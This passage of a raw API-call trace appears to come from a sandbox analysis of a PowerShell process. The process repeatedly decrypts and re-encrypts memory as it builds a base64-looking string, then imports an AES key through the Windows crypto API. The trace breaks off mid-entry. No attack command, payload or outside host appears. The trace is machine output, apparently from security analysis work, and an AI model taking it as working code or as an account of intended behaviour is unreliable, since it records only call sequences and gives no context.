(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.359] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.359] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.359] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.359] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.359] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.360] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.360] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.360] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.360] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.360] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.360] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.360] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.360] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.360] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.360] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.360] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.361] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.361] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.361] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.361] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.361] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.361] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.361] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.361] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.361] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.362] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.362] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.362] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.362] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.362] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.362] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.362] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.362] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.363] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.363] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.363] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.363] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.363] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.363] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.363] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.363] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.363] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.364] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.364] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.364] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.364] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.364] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.364] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.364] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.365] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.365] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.365] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.366] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.366] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.366] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.366] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.366] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0133.367] CryptImportKey (in: hProv=0x8e02828, pbData=0x698f648, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84d38) returned 1 [0133.367] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.367] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.367] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, 